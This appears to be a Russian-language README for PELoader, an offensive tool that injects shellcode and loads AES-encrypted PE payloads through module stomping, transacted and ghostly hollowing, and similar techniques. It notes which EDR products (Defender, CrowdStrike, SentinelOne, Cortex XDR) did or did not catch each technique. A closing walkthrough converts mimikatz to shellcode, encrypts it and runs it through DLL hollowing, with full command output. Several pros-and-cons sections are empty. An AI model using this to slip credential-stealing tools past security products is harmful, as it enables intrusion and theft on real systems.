
PE loader с различными техниками инъекции shellcode
PELoader реализует различные техники инжекции шеллкода и использует библиотеку libpeconv для загрузки зашифрованных PE-файлов вместо инжекции шеллкода в удалённый поток.
Реализованы следующие техники:
Благодарности: большая часть моей работы основана на скриптах PoC от @hasherezade.
PELoader был протестирован на Windows 10 с Cortex XDR / SentinalOne / Windows Defender / CrowdStrike, при этом Windows Defender и CrowdStrike обнаружили технику Transacted Hollowing. Характеристики каждой техники были протестированы с помощью инструмента сканирования памяти Moneta от @forrest-orr.
Module Stomping (LoadLibrary)
Вызов LoadLibrary для загрузки легитимной DLL. Перезапись DLL полезной нагрузкой.
Преимущества:

Module Stomping (NtMapViewOfSection)
Вызов NtCreateSection для создания объекта отображения файла (PAGE_READONLY) для легитимной DLL и вызов NtMapViewOfSection для отображения её в текущий процесс. Перезапись DLL полезной нагрузкой.
Преимущества:
Недостатки:

Ссылка на PoC от @hasherezade.
Transacted Hollowing
Гибрид между Process Hollowing и Process Doppelgänging. Создание «невидимого» файла в рамках транзакции NTFS и запись полезной нагрузки в файл. Отображение секции в текущий процесс и её выполнение.
Преимущества:
Недостатки:

Ghostly Hollowing
Гибрид между Process Hollowing и Process Ghosting. Создание файла в состоянии ожидания удаления и запись полезной нагрузки в файл. Отображение секции в текущий процесс и её выполнение.
Преимущества:
Недостатки:
Ссылка на PoC от @hasherezade.
NtMapViewOfSection (RWX-RW-RX)
Вызов NtCreateSection для создания секции памяти (RWX). Вызов NtMapViewOfSection для отображения представления в текущий процесс (RWX). Вызов VirtualProtect для изменения защиты на RW. Копирование шеллкода в отображённую секцию. Изменение защиты на RX и выполнение.
Преимущества:
Недостатки:

NtAllocateVirtualMemory (RW-RX)
Вызов NtAllocateVirtualMemory для выделения памяти (RW). Копирование шеллкода в память. Изменение защиты на RX и выполнение.
Преимущества:
Недостатки:

AES шифрование полезной нагрузки
Преобразование PE-файла в шеллкод с помощью pe_to_shellcode и шифрование с помощью PELoader
cmd> .\pe2shc.exe mimikatz.exe
Reading module from: mimikatz.exe
[WARNING] This is a console application! The recommended subsystem is GUI.
[+] Saved as: mimikatz.shc.exe
cmd> set hagrid=enc mimikatz.shc.exe
cmd> .\PELoader.exe
argument: enc mimikatz.shc.exe
Encrypting File
Выполнение PE
Установка аргумента в переменную окружения «hagrid» и выполнение PELoader
cmd> set hagrid=cdll mimikatz.shc.exe.enc
cmd> .\PELoader.exe version
argument: cdll mimikatz.shc.exe.enc
Classic DLL Hollowing
[*] target dll: C:\WINDOWS\system32\aadtb.dll
[*] implant dll: mimikatz.shc.exe.enc
[*] Loading the DLL (using LoadLibary, classic DLL hollowing)...
[*] Overwriting the mapping
[*] Module Overloading finished...
[*] Executing Implant's Entry Point: 7ff8cf9d7578
[*] Executing Implant as EXE
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # version
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19043 (arch x64)
msvc 150030729 207
mimikatz #